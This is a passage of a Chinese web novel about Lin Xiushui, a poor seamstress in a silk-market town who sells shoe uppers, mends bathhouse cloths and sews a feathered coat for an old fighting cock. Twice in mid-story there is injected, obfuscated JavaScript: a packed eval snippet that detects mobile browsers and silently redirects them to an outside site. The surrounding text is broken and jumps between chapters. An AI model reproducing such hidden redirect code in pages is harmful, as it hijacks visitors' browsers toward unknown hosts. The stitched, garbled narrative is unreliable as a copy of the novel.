林秀水不免想起自己,在生计难以维系时,裁缝是她为生的手段。 或许等她哪天觉得,当裁缝远远重于赚钱时,那才有底气说出口,可是眼下,她还是先赚银钱,能把自己日子过好再说。 在这一天里,她依旧熨那条绸缎裙子,照常准点下工,照常支起她那个古里古怪的招幌。 她在整理那件花里胡哨的褙子时,巷子口有一群小孩在墙角边上,扎三只辫子的张铁生一口一口舔着糖,糊得嘴巴一圈,扬起头问小荷,“你怎么这几日都不跟我玩了?” “是呀,小荷,叫你玩千千车你也不来,”另一个满头髻,扎红绳的小孩也好奇。 另一个年长些的女孩道:“对呀对呀,你不同他们玩,怎么也不同我们玩了。” 小荷翘起头,又背过手,她不说话,只在众小孩面前来回踱步,故意把脚高高抬起,又重重落下。 厚鞋底落在石砖上,发出哒哒声,终于吸引了这一圈小孩的注意力。 “呀,小荷,你穿了双新鞋子,还是猫脑袋!”“是大黄猫,跟我家墙头那只趴着的黑猫一样。” “我没见这鞋子,小荷,你脱下来给我穿穿。”小荷见引起了大伙的注意,终于绷不住露出笑来,她其实很爱显摆,只是她娘给她吃饱穿暖便成,从不管什么好看。 她穿得灰扑扑,就喜欢在地上爬,滚,反正衣裳脏了也瞧不出,只是这会儿不一样,她穿得齐齐整整,扎三丫髻,又绑了蓝绿绣花的发带。 从前的旧夹衣绣了花样,新上了漂亮的衣襟,又穿了双巷子里孩子都没有的猫头鞋,她可神气了,再也不想爬地上玩磕头把戏。 “你们当然没瞧过,我阿姐给我做的,”小荷的头就没低下来过,她像只大公鸡地翘起尾羽,“我阿姐会做可多东西了。” 小荷一处处往外显摆,给她做了新的枕囊,之后她还有小包和新发带,她还会有只布老虎。 听得其他小孩艳羡不已,其中一个道:“那有什么,我知道你阿姐在哪,我叫我娘寻她买去,就做双跟你一样的鞋。” “我,我也去我娘买,她,她要不给我买,我,我,我就不买。” 小荷气得像只青蛙,她气鼓鼓的,双手叉腰,又跺一跺脚,跑走了。 她只是气,她又不傻,大家都去买阿姐的东西才有银钱。 但她还是好气哦。 小荷跑到林秀水边上,嘟起嘴道:“跟他们要多多的钱。” 林秀水在擦剪子,她低下头看小荷,还没搞懂怎么回事,只见巷子口有两三家的娘子被自家小孩生拉硬拽过来。 “我要做这样的鞋,我要猫脑袋!” “我就喜欢,娘,你给我买,我求求你了。” 这群孩子闹着,那些当娘的没法子,同林秀水抱怨,张娘子说:“你瞧我家这闺女,哪里像女儿家,简直是个泼猴,在家里又哭又闹,想熬点糖粥都没法子。” “谁说不是,我锅里油热着,东西正准备下锅,拽着我衣裳就死命往外扯,还打翻了一桶水,叫我抽了几下,无法无天了。” 林秀水听他们的抱怨,仍旧笑盈盈的,只说稍等,从屋里拿出布头拼缝好的鞋面,没有纳底,但形状不只局限于猫头,有兔脑袋长耳朵,也有虎头鞋,还有狐狸尖脑袋的。 她前头在油衣作时,就想过卖鞋子纸样,只是碍于纸价甚贵,而且这生意不长久,这才放弃这个打算。 不过剩下还有些布头,要是用来打补丁或是垫补都赚得不多,她便想先做些简单的鞋面样式来卖,要再赚点钱买布头。 没想到,还没拿出来卖,小荷就替她招揽了生意。 “这种单鞋面的只要十文钱,全是绢布缝的底,”林秀水在抱怨和哭闹里插进声音,她将鞋面在大伙前面晃了晃,见大家目光转过来,才又道,“小孩穿鞋费底,底面娘子可以用自家的鞋底,我这里做也成。” “也是随便做着玩的,算不上特别秀致。” 十文钱对于巷子里的人家,也得精打细算,尤其这鞋子光有鞋面,没有鞋底,哪怕缝的样式新奇,可新奇又不能当饭吃。 有两三个当即变了脸色,硬拉扯自个儿孩子走了,边走边骂赚娃的钱,也有几个娘子掏钱买了,还说这价确实便宜。 当然更多的是犹豫,想买又不想买,来来回回问,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534555|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后还是买了。 林秀水挨个收钱,就五个娘子掏钱买,搞得一堆人围在这,以为她赚疯了,做了几笔大生意。 走前还有跟边上嘀咕的,“听说她一日能赚个几百文,啧啧,你说说,话说要不我也在这支个缝补摊子,我补得肯定比她好。” “得了得了,你说话都不嫌害臊,就你那手艺,你出去支摊,人家一看你补的,没倒找你要钱就算客气了,你真想我上官衙里看你去啊。 ” 那人还嚷道:“赚几百文肯定是真的。 ” “你赚赚去呗。” 林秀水听完,满脑子都是到底谁在胡说八道,能把她没赚到的那几百文补给她吗。 她早上支摊接三五七八个缝补活计,都是打补丁,缝裤线,补鞋面,裁衣长,最多赚个三十文,偶尔才来几个大单子。 简直胡言乱语。 她吃完饭跟王月兰说起这事,王月兰将碗往桌上一磕,哼了声,“上回你补风筝那五十文,叫陈桂花在外头一顿说,这前后头一传,说你赚了五六百文。” 王月兰越说越恼火,“陈桂花这嘴没个门闩,真想把她家门闩拆了缝她嘴上。” 林秀水想说,真的,真的不至于。 “你下回可得记着,一文钱喊得响亮点,二三十文憋着气说,”王月兰呸了声,“一群见不得人赚钱的。” 王月兰心里门儿清,等明日就该有人上门跟她哭穷借银钱了,哪怕八竿子也打不着的关系,毕竟这巷子里,谁有银钱谁家遭殃。 第二日早上倒真有人来敲门,王月兰皱眉,摸到旁边的烧火棍,藏在后头去开门,要是来借银钱的,她非得挥着这棍子把人打出去。 “王娘子,这鱼给你和林小娘子吃,”张木生满头大汗站在门口,呲一口大牙,手中拽着一串草绳绑的小鱼,他主要觉得前头林秀水说的法子有些用,摸了鱼送人家中来。 王月兰挤出笑,客套几句后,又变了脸色,她套了张木生几句话,放下心来,这鱼最后还是接了。 等林秀水下楼来,她拉过人,叫林秀水瞧这鱼,“你知道谁送的吗?” “隔壁的,”林秀水准备打水洗脸,一瞧她姨母的神色,笑了声,“姨母,你别多想。” 王月兰没多想,但她担心林秀水的眼神,担心跟她娘一样差。 她拉住林秀水语重心长地说:“你娘平日眼神很好使,看人远远就瞧见了,一到相看人家,人跑二里地,眼睛还落家里,最后找你爹那样黑的,跟炭抹身上,就露两窟窿眼。” “然后你娘生了你,那时我去接生的,把我吓了一跳,多丑哇。你当时黑的,还小,瘦的那个样,窝在你娘怀里,我以为哪家的老鼠把崽落下了。” “给我和你娘吓得够呛,生怕你黑成你爹一个样,你娘才给你取名叫阿俏,就想着多叫叫,说不准能显灵呢。我就埋怨你娘,当初别找那样黑的。” “姨,求你了,别说了,我眼神很好使…” 有当姨的这么揭人短的吗,太狠了,林秀水绝对不愿回想小时候,那时确实黑,有人给她取诨名叫她小窟窿眼。 至于为什么不叫大窟窿眼,她爹叫大窟窿眼。 她很“伤心”地去支摊子,决定靠缝补解忧愁。 也没解忧愁,第一个来摊子的是陈桂花。 18.第 18 章 雾蒙蒙,乌云重重的天,除去报晓的僧人走街串巷,其余人影匆匆。 林秀水有点后悔,她做什么要在这样早的天起床,冷得慌也就罢了,还得听陈桂花赌咒发誓。 “秀姐儿,那话真不是我传的,”陈桂花掰三根手指头,指天发誓,“什么一日赚几百文,全是旁人乱讲的,我只说你穷得什么活都不嫌弃而已。” 林秀水原本还在低头纳鞋底,一听这话,粗针一偏差点扎到手指,编排她就算了,非要当面过来说。 偏人家说的是实话,林秀水也不气,她本来什么钱都想赚。 她懒得跟陈桂花歪缠,只要不是寻她教手艺的,旁的都好说。林秀水收起针,插在布上头,手指头绕一圈蓝线,等陈桂花说完,她才道:“好了,你发的誓别说老天了,我坐你跟前都没听着,有事直说。” 陈桂花此时有些支吾起来,原本站在桌板前面,又挪了几大步绕到桑树旁,压着声说:“我家中有门亲戚,” “她在那个香水行里做活,这不托我来问问,她们那里有个活计,就缝补下包布、手巾,一条能给一文呢。” 林秀水左手握竹木线板,右手绕线,并没有吭声,等陈桂花底气不足说完,平常跟对岸人家吵嘴,恨不得把河里的鱼都惊上岸,这会儿跟犯了风寒,哑了声。 她不动声色打量陈桂花,常年浮肿的脸,像醒发的白面,估计是热汤熏的。且旁的娘子扎包髻,带的是寻常绢麻做的包布,但陈桂花用的是油布。 说起来,陈桂花身上有股味道,不是臭,也不大香,像药味夹杂皂角味,林秀水眼下细想,其实是香汤味。 香水行与桑绫弄隔了一条宽河,她每回下工,总能瞧到那边水汽缭绕,烟雾滚滚,她从没往那去过。 那里不止有香水行,还有洗衣行,小南瓦舍在南货坊,但大北瓦舍则坐落在那,另有正店、邸店,以及有桑青镇最有名的山水口齿咽喉药,自湖州来的真石家念二叔照子(镜子)铺等等,是以这坊市又被称为金银坊。 林秀水自问不是能在那花得起银钱的,从不往那多看,但她倒是没想到,陈桂花在香水行里做活。 她只是猜出来,没有要追根究底,这世上做什么行当都不稀奇,有门手艺是自个儿的本事。 林秀水暗自琢磨一圈,而后道:“先拿来瞧瞧,什么样的手巾和包布。” 陈桂花原本抠着桑树皮,一听林秀水这话,立即挂上笑,跑回家里拎一个细竹篓子出来,里头装着潮乎乎的包布和手巾。 这可是她强行揽的活,香水行给做活的人发包布缠头上,换下来的包布破损裂开又舍不得扔,行老说要寻人来补,换一个要五六文,若缝补的话给两文一个便成。 还有手巾,是给女客、男客或是小客、老客擦身、抹脸的,大小布样各不相同,用几次换掉实在费钱,行老说缝也按两文一个给。 陈桂花太缺钱,也太想赚钱,挤开好些人,揽了这个活,再倒手给林秀水,两文钱一人赚一半。 她自认为很有良心,别人还想补两条给一文呢,但她又念着林秀水帮过她,顶多再给林秀水占点香水行的便宜,送点澡豆、肥皂团啥的。 林秀水压根不知道陈桂花的小九九,提起篓子往外抖抖,取出一个油布包布,是一块方形的油布,一头缝了一长条麻布绳。从后头盖在发髻上扣住,再把后面剩余的布给裹上,绳子绑紧,要是很松扎上去便像浴帽。 她接连取了好几个,发现这包布大多是散边了,外加绳子断了。 至于手巾,香水行用的是粗绸,那种用废蚕丝纺的,有些重,倒不容易散边露线,但会勾丝起丝有小洞。 洞她只会取相近线盖补上去,织补做不到。 林秀水翻看完全部的包布和手巾,每条问题不大,缝补很方便,按一文一条来,她也半点不亏。 这篓子总有七十几条,林秀水说:“补可以,但得先给定钱,三十四文。” 陈桂花可不是能吃亏的,老早从行老手里把钱缠磨来了,给得很爽快,她以后还想跟林秀水“搭伙赚钱”呢,为此她甚至痛下决定,要给王月兰一个好脸。 搞得刚出门的王月兰寒毛倒起,她满脸怀疑,跟林秀水说:“阿俏,你说这陈桂花是不是换人了,难不成被啥上身了?” 林秀水刚想回,王月兰自顾自说:“这玩意可比陈桂花那死性好。” 得,林秀水干脆闭嘴,还是缝包布吧。 今早人少,林秀水没生意,缝了十来条包布后,听见底下溪岸口有人喊:“这挂的幌子是谁的,劳烦下来趟到河边,瞧瞧我这东西能不能补?” 林秀水放了东西走下去,走到一半往上瞧,雾气蒙蒙的,就数她这招幌显眼,没白花那么多布头做。 喊的人是个老丈,穿件黑衫坐在船头,怀里抱了只篓子。 “我从河上过桥,一抬眼便瞧见了,心想这幌子还挺稀奇,正好我这油篓破了,急着去运油,小娘子你瞧瞧能不能补一补?” 老丈起身,一手兜油篓底,一手转油篓,把裂了条口子的边给她瞧。 林秀水低头凑进去瞧,那口子裂的倒不长,只是不大好补。这种油篓是小口大肚,用竹丝编的,先刷桐油,再糊一层绵纸,一层油纸,运油运酒半点不漏。 但这样形制的,林秀水得先试试自己的手,能不能穿进油篓,她征求了老丈的应许,将手慢慢塞进小口里,刚好能穿过。 “能补,只是缝的时候,要把纸跟竹篾绑在一块,给我三文钱就成,”林秀水缓慢抽出手,左手腕沾了茶色的油,晚点回去洗一洗,她问老丈,“老丈,这是什么油?” 老丈掏钱袋取铜板,闻言笑说:“小娘子没见过,这叫青油,是用乌桕籽榨的,送到桕烛铺里做蜡烛的。” 蜡烛要百文一根,林秀水用不起。她取了粗针来,这针刚好可以用油润润,不至于毛刺刺的,线用细麻线。 她左手伸进篓子里,贴在裂口处,右手握针从外头竹丝交叉的小口扎进去,她缝得很细,上下穿针,线缝左上右上,像根树杈,再从头穿回来,跟竹丝绑在一块。 “老丈,你老瞧瞧,”林秀水把篓子递过去,左手沾满了油。 那老丈接过来,拿一柄长勺从另一个油篓里倒油,再浇进补过的竹篓里,左右晃动,让油流到之前的裂口处,斜着看它会不会漏。 见真半滴不漏,才笑着点头夸赞,“小娘子你这手艺不错。” 林秀水也笑,又问他,“老丈,你们运油的还卖菜啊?” “这呀,我家老婆子在前头桥市支摊,叫我顺道给她送去,这菜篓子里是姜虾米,那边是笋鲊,小娘子你要不来些?虾米是自家捕的,笋是山里挖的,价给你便宜些,只一点,得自己带碗盆来装。” 林秀水想吃虾米了,这姜虾米里面没有姜,只有虾米干,姜是蘸姜醋吃的意思。 笋鲊,林秀水没要,这她姨母也会做,嫩笋切块蒸熟,布包到没有水了,再同油一道拌,拌完便可以吃。 林秀水回去洗了手,拿了大粗碗匆匆跑回去,要了十五文的姜虾米,回家倒进干罐子里封好,不然会潮。 一听钟鼓声,跟王月兰说声后,林秀水收拾好东西去上工,路过那蚕花菩萨庙前,她悄悄猫在边上,探出头往里瞧。 见那张木生像只猴一样上跳下跳,呼呼喘气,伸手去够那顶上的红绳。 看他那么努力,她便放了心,倒不是怕张木生听她的法子没长高,她是怕自己打赌输了,得赔人家一百文,她压根不想赔。 林秀水偷偷地看,悄悄地走了,顺手摸一把矮墙上趴着的狸花猫。 离二月十五花朝节还有两日,街上挑花担的人多了起来,卖杏花、迎春、瑞香,也有卖五色彩纸,红绸缎的,绑在在树上,叫赏红。 另有卖树种、花种,供人买下去栽种,也有卖团扇叫小娘子买去扑蝶的。 林秀水在上林塘没见过这样的热闹,每逢花朝节就是扯点红布头,挂在树上,最多再到山野里走走。 她一路走,一路瞧,进了成衣铺,不免要问顾娘子,“娘子,我瞧外头彩帛铺都在裁红绸缎,我们要不要裁?” “不裁,”顾娘子刮刮香炉盖子,抬眼看林秀水,“怎么,你不过花朝节?我可没有非要压着人做活,那日你们只管自己去逛,不用来铺子里。” 她才不想开门,花朝节边上是西湖香讯,她要带儿女去昭庆寺上香。 林秀水原以为自己那日要熨红布,倒是没想到不用上工,立即喜形于色。 “瞧你乐的,”顾娘子走出来,朝后院去,“你那条百褶裙熨没熨好?人家李娘子想穿这条过花朝节,我可跟她夸口过了。” “快了,还差再整熨两遍,上头的褶痕我全烫平了,”林秀水小跑两步跟上,“花朝节穿指定没问题。” 顾娘子停了脚步,她说:“那我晚些给你批领抹,你先熨平再说,过了十五,还有批新布。” “阿俏,你先别走,”顾娘子走到拐角处,喊住林秀水,“你同我上楼去,我有一箱丝绵兜你帮我一道拿下来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536473|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林秀水帮忙搬下来,有点好奇,“到了春二月,还要翻丝绵做袄子不成?” “做什么袄子,”顾娘子蹲下来翻开箱子,看一看丝绵兜,这批丝绵不错,只上头还有些碎屑没挑。 她跟林秀水说:“边上白衣铺接了横喜的活,丝绵不够多。” “横喜是市语,你日后听见别乱问,这是人家出白丧。” 林秀水了然点头,这各行有各行的市语,也称行话,横喜是接丧事生意。 而用丝绵兜是桑青镇的习俗,这个桑蚕市镇,丧事和喜事都离不开蚕和丝绵,如办丧盖棺前,子女两人一起扯丝绵兜,盖在去世的人身上,丝绵盖得越多越体面,这叫扯蚕花挨子。 桑青镇还要在去世的人手里塞两颗蚕茧,让他们若有在天之灵,保佑蚕桑顺利,也叫讨蚕花。 林秀水很清楚,她娘走的时候,她和姨母不顾习俗,扯了很厚的丝绵被。 她低眉,又说道:“娘子要叫人挑拣丝绵的话,不如让我来,我姨母也很会挑丝绵兜,保证不叫他们扯蚕花挨子时有破洞。” 顾娘子说:“正愁找谁,那你便拿去吧,挑好来找我领工钱,这有五十只丝绵兜,按两文一个,给你们一日时间,要费心一点。” “当然成,”林秀水连忙点头,“会尽快挑完,不会耽误人家的。” 接了这个活,林秀水比自己赚了大钱要高兴,她可算给姨母揽了个好活,赚笔钱,能叫姨母早些还清屋债。 她脚步轻快,跳过门槛,见到小春娥,从腰间小袋里抽出一条面布,递给人家。 她说:“烧炭上我是帮不上你的忙了,我连火也烧不明白,给你做了条包脸布,你挂耳边,肯定不会灰全跑脸上去。” “阿俏,你才是我亲姐吧,”小春娥眼泪汪汪地说,她姐只会上手打她,动嘴骂她。 林秀水不介意占这个便宜,“那你叫我一声姐,我把你当亲妹。” “想得美,”小春娥哼一声,戴上她送的面布臭美。 林秀水毫不在意,走到里面去,小心抱出裙子摊在木桌上,进行最后的整熨,力求让这裙子的褶子跟刀尖一样锋利。 这裙子上午熨完,还挂在杆子上等晾晒完,下午顾娘子领了李娘子过来。 林秀水还没见人,被李娘子身上的香熏得打了个喷嚏,等见到人,又被她身上的贴金和大金冠子闪了眼。 她不免想,银钱俗气,金子难道不俗了吗? 那李娘子问顾娘子,“你说真熨好了?咦,那前头是我的裙子,远远瞧着那褶子真齐整。” 她连忙上去,不免惊叹了下,原来皱皱巴巴,还有深深褶痕的绸缎裙子,在一天里变成了褶子锋利,幅度大小相同,裙面极其平滑没有任何褶皱的绸缎裙。 她忍不住赞叹,当即要穿上,穿上后裙幅摆动得很漂亮,瞧着不像三年前的旧裙,倒像是新做的裙子。 她欢喜极了,拉着林秀水的手好一顿夸。 然后拿出她精心准备的谢礼,李娘子自我夸奖,“我准备的东西你肯定满意。” 然后在几双眼睛的注视下,李娘子翘着手指,打开她带来的木盒,林秀水紧张又期待地伸头过去看,她愣住了。 里头是香炉、香料、香瓶,还有李娘子最为得意的香品,“这是我自个儿做的合香,闻过的人没有一个说不喜欢的,我原本想送你个熨斗的,一想不妥,这才精心挑选,送你这些。” 林秀水被熏得脑门一跳一跳,她不喜欢这样浓的香,还不如送她熨斗呢。 她强作欢喜收下,李娘子走出去回头又道:“虽说银钱俗气,但照你们这行来,我给你俩都包了个小红封。” 林秀水立即真心实意欢喜,李娘子笑着跟顾娘子说:“哪里招的小丫头,怪招人喜欢的。”两人声音渐渐远去,林秀水开始拆袋子,把一个递给小春娥,小春娥也欢喜,“我还从来没收过红封呢。” 里头各有六十六文,林秀水和小春娥对视一眼,都憋不住,噗嗤笑出声。 林秀水存不住钱,她说:“我要买布去。” “我要不拿去扑买,”小春娥琢磨,“扑点新奇的,阿俏,我分你点啊。” 两人都喜气洋洋的,林秀水下了工,先拿了一袋丝绵兜回家,走路带风,想跟她姨母说这事。 林秀水准备把香料卖了,再找船布郎,买些布头来,还要买把好用的剪子,她的绒线要没了,线板太少… 越算这笔钱越心凉,人怎么可以穷得这么具体,一算她还倒欠自己三百八十七文。 22-30 第22章 第 22 章 做鸡毛衣裳 补油布伞、补衣裳破洞, 甚至补席子补蹴鞠,都在缝补的范围内。 但给公鸡补毛,闻所未闻。 林秀水实在莫名其妙, 她并不想搭理,今日生意出奇得好,积攒的好些活都还没做完。 她说完后, 不管人家站在这里,拿起剪子拆油布伞骨眼处缝线,先剪一半,再穿线缝补, 伞面开开合合。 一人一鸡在旁边看她,伞转一下,一人一鸡也跟着转, 半句话没说,直到林秀水补完。 “我拿什么给你补,我用针扎进它肉里吗,把毛一根一根给它补上吗,”林秀水从伞底钻出来,摊开手,很无奈, “它毛都掉光了, 你要不给它吃点好的补补, 说不准毛能生回来呢。” 她说完才发觉, 自己说这话好似也有些毛病,毕竟世间之大,无奇不有,不说养鸡养猫当小宠, 便是养蟋蟀、爬虫的都数不胜数。 这男子专门干的便是调鹁鸽、养鹌鹑、斗鸡、擎鹰为行当的,这一行被称为习闲,他被人叫做李习闲。 李习闲叹口气,他指指自己抱着的鸡说:“吃了也长不出,这是只斗鸡,小娘子你看过斗鸡博戏吗?没了毛的斗鸡还叫斗鸡吗?” 林秀水倒还真见过,在南瓦子便有斗鸡取乐的,那斗鸡毛发黑亮,粗红脖子,嘴巴特尖,两只鸡相斗又咬又啄,咬得越激烈,围观的人群叫好声越响,直到另一只鸡筋疲力竭才停歇。 桑青镇斗鸡盛行,不止斗鸡,还有斗蟋蟀,斗鸟,连纸鸢都能相斗,有专门以此为营生的。 她反正不大喜欢斗来斗去的这种,只略略看几眼便走了。 “那你好生养着它,没了毛不能做斗鸡,便做家鸡,”林秀水低头忙着自己的活,她真没工夫跟这个人闹。 李习闲一路走来听别人说,林秀水补工很厉害,他特意奔过来的,也不死心,又问:“那给它做件毛衣裳呢?价钱都好说。” 林秀水听到这话,终于停下手里的活,看了眼他手里的鸡,那鸡脖粗红,身上没毛,只有通红的鸡肉,靠着这两个鸡翅膀的毛撑着,偏偏尾巴上又有五彩的尾羽,越瞧越丑。 她真下不去手。 李习闲又道:“我跟鸡鸭行都相熟的,小娘子要是能做的话,价钱好说,我再另送鸡鸭和蛋。” 不早说,林秀水微笑:“原是给鸡做件衣裳,我觉得也可以试试。” “要是真不成的话,鸡鸭蛋还送吗?” 李习闲已经问遍了补衣裁缝或是治六畜的,大伙说他疯了,倒是林秀水态度好,也不觉得他痴傻,他认定有希望才一直没走。 眼下很爽快地说:“不成也没事,我会用鸡鸭蛋做谢礼的。” 林秀水有些难以迈出自己内心那一步,她反复告诉自己,赚钱,一切为了赚钱。 给人做衣裳是赚钱,给鸡做衣裳也是赚钱。 做毛衣裳还更赚钱,还有鸡鸭蛋拿,她如此反反复复地想。 赚钱嘛,做什么都不寒碜。 她给这鸡准备了专门的布尺,让李习闲将鸡按在地上,她拿布尺从鸡脖子处量到鸡屁股,又量鸡胸,还要整个身体的尺寸,不能勒住。 鸡味冲鼻,她不由得有些悲从中来,她还没给人正经做过衣裳,倒是给鸡做起衣裳来了。 量完尺寸,林秀水琢磨起衣物形制,褙子、上襦肯定都不行,袖口要宽,背上得补羽毛,开口要在脖子底下,只能是短袖开襟,形制类比夹袄。 她揉了揉眉心,“这件毛裳得一百文,定钱五十这会儿交,这会儿前头还有单子,我再琢磨琢磨,你晚点过来。” 李习闲连忙给钱,生怕给晚了,她转头来一句不做了。 林秀水先去洗了手,补完了三件衣裳,一把伞,零碎的东西,站起来走了走,才琢磨这件给鸡穿的衣裳。 衣裳不是问题,问题是如何把羽毛给缝上。 等针又一次扎到自己的手,林秀水才选择放过自己的手,这尾羽根部实在太硬,又很小,扎不进去。 她改用浆糊,浆糊粘纸粘布粘得牢,粘这个羽毛压根粘不牢,晃晃就得掉。 缝不住,粘不牢,林秀水也没放弃,烧饭的时候想,缝东西的时候想,最后想到了张木匠,做木匠的有一种鳔胶水,听说粘得很牢。 张木匠没在家,倒是张木生在,他一听便说:“这鳔胶水确实粘得牢,木行里不多,隔壁彩画作多,他们调铅粉、藤黄这种上柱上画的,要日日熬鳔胶水。” “我们这可没有,但我正好去木行,顺道给你要点来。” 林秀水道谢,张木生又指指自己,一脸期待,“你瞧我高些了没?” “高了——吧,”林秀水昧着良心说,说实话就这么几日工夫,谁看得出来啊。 “我觉得自个儿高了些,晚上睡觉的时候腿跟鱼一样扑腾,你那法子真好使,我指定要长高了。” 林秀水不否认,“长高是迟早的事。” 晚点张木生去彩画作拿了木罐装的鳔胶水来,他跑得满头大汗,“不要钱,我找人家讨的,你拿去用吧。” “涂了这个可不能泡在滚水里,一泡就会散开,鳔胶水怕热,糯米浆怕潮。” 林秀水记住了,她看张木生说:“要不再给你做双鞋垫?” “可饶了我吧,”张木生左右摇头,“我再也不敢想了,还说要穿门槛高的那种鞋,就你做的那种鞋垫,谁穿谁知道,我被我爹追着打,他跑一步我跑两步。” “我再往墙上跳跳,保不准真能高些呢,你拿着用吧,别那么客气,你要没了,我再给你要去,我可得走了。” 张木生扔下鳔胶水跑远了,而林秀水追不上他,只好作罢,记着这份人情。 她下午开始粘羽毛,叫小荷搬个小凳子坐边上,帮她卖香囊,其他接的活她都说明日或后日再来拿。 然后粘的时候发现,羽毛粘不明白,按一根根羽毛摆起来哪哪都不对。 林秀水起身,撸袖子,走进院子里,拎起自己家鸡,掰开它的羽毛一阵细看,上掰下瞧,惹得那母鸡咯咯咯直叫唤。 “别叫,正是用到你的时候,”林秀水嘀咕,“原来毛是这样长的,有大毛还得有小毛盖着。” 搞清楚羽毛走向后,林秀水粘起来便得心应手了,一根根顺着纹理粘好,那鳔胶水又黏又好用,多粘点,牢得根本扒不下来。 等到粘完最后一根毛,一件十分新鲜的羽毛衣裳出现了,那羽毛纹理走向,那平滑的内里。 路过的娘子还说:“咦!你哪扒的鸡毛皮,你这手艺不去鸡鸭行可惜了,这皮子可真好。” 林秀水不语,她才不会扒鸡的皮,她给鸡上新的皮肤好不好。 她又抓来自家的鸡,她养的鸡有一点不好,那就是跟她一样瘦。 但今日有一点好,瘦到刚好能穿上这件毛衣裳。 一只鸡穿件黑色羽毛衣裳,翅膀特别黄,两只小豆眼里看人,它咯咯哒地叫唤。 一天她尽折腾自己家鸡了。 小荷看得哈哈大笑,差点没把竹竿撞倒了,她抹着自己笑出来的眼泪说:“好怪,不像鸡,像是什么怪东西。” “你等会儿就能见到真的鸡怪了。” 小荷才不信,但后面一见那斗鸡,吓得往林秀水身后钻,她小声说:“红蜡烛长个鸡脑袋。” 一人一鸡看她,小荷闭起了眼,她又说:“是鸡脑袋长在红蜡烛上。” 林秀水咳了声,“小孩就喜欢乱说,快给你家这,额,铁公鸡套上瞧瞧。” 李习闲震惊于真能把这衣裳做出来,有点结巴地开口,说完后又把这毛衣裳套在手里瞧。最后他咧着嘴笑,把鸡抱在怀里,按袖子左右给它穿上,前面的衣襟开衫处扣好扣,后面全是羽毛的布面拉扯好。 虽然近看特别怪,但至少这后面不秃了,原生的羽毛很服帖,就跟长在它身上的一样,有些铁公鸡当年打遍桑青公鸡无敌手的威风。 李习闲越看越想哭,悲从中来,他张口便道:“这可是我自个儿亲自孵的鸡啊。” 林秀水真想问问,他怎么亲自孵的鸡。 “它从那么点大,我一口饭,一口米,一口虫把它给喂大,” 李习闲说到悲情处,抽泣一声,“它也争气,打小就能啄鸡啄狗,是鸡中好鸡。” “旁人的鸡好斗,是要给鸡身上撒芥辣,脑门上涂狸膏,脚爪上加刀子,我家这铁公鸡就天生天养的,打小就是那种好鸡。我们选鸡都有一句话,叫作小头大身架,细腿线爬爪,你看看它,长得多么标致。” 林秀水看不出来,她没见过这么丑的鸡。 李习闲又长叹口气,“从前它打遍百来只鸡都没对手,那斗鸡叫一个了得,我只要带它过去,赢的只会是我家铁公鸡。” “眼下它老了,那毛也掉了,按我们斗鸡的规矩,是不能再留着它的。” “可我想着,从前它帮我挣钱,老了我得养着它,我知道做这毛衣裳也没用,看过的都说,它就没几日活头了,只这两日工夫。” “总要叫它穿着自个儿的毛走,不然光溜溜的到底下去,别的鸡要笑话它。” 李习闲笑笑,擦擦泪,他养了这鸡三年,三年里同吃同睡,他还在自己床边安了个鸡窝,如今想来真是不舍。 他付了百文钱,给了一篮子鸡鸭蛋,两只小鸡作为谢礼,他说:“这鸡养大了,下蛋特别好。” “小娘子,真是麻烦你了。” 林秀水喊住他,“你等等,我不能白拿你这么多的东西,你在这里等我。” 她急匆匆跑回去,她有一面镜子,早前是她娘留下来的,打磨过她又用布日日擦,照得挺清楚。 她一气跑到楼上,拿了镜子下来,又跑出去,跑得气喘吁吁,差点背过气。 “你,你把这个,给鸡照照。” 林秀水太相信自己的手艺,这身毛衣裳做得跟鸡原生的毛差不多,她得叫鸡看看。 其实这个举动真的很让人发笑,疑心是不是林秀水真疯了,但她觉得,一件事情嘱托到她的手里,她收了钱,她要把事情办好。 李习闲接过镜子照做,将镜子放在铁公鸡前面,一手扭过鸡头让它瞧瞧。 这大概是鸡的鸡生里第一次照镜子,第一次看自己。 原本只是呆呆的鸡,突然开始想啄镜子,林秀水手疾眼快,李习闲赶紧捂住它的嘴,一时惊讶,“它已经许久不想啄鸡了。” “保不准照一照真的有用。” 李习闲欢欢喜喜带着鸡走了,直到两日后,他才来报喜,说照镜子真的有用,他那只铁公鸡眼下很神气,天天要啄镜子里的鸡。 它大概不用死了,它还能陪他好几年。 还说要给林秀水打面招幌,或是做个牌匾,上面就写救鸡一命。 林秀水逃得飞快,她不想再治鸡了,那太可怕了。 但此时看着一人一鸡离开,林秀水说:“好悬没把我这宝贝给啄了。” 小荷欢呼道说:“我也要跟小鸡睡觉。” 林秀水微笑,“当然可以,你娘要是不打你的话。” “我娘会说打不死你,”小荷捏着鼻子学她娘的声音,“小荷,你给我过来,看我打不打你。” 林秀水笑得够呛。 眼下时辰倒还早,林秀水开始收摊,没办法,昨儿出了名,也不知道谁给她传的,一套比一套邪乎。 她今日除了些能补的收下来,还有二十来个莫名其妙寻事的,有找她补酒漏子的,这玩意又不是布,找她也没有用。 那脚凳子坏了不去找木匠,找她个缝补匠,打卦的竿子绳子掉了,重新绑一下不就成了,非要过来找她给缝一圈;打牛的鞭子断了,要她从中间接一段上去,她干脆用发烛烧两头,烧的布料熔化,两根接在一起。 还有什么旧靴子、破裤子、烂罩子,酒篓盆子大 席子。 她是个正经修补的,不是啥活都接的。 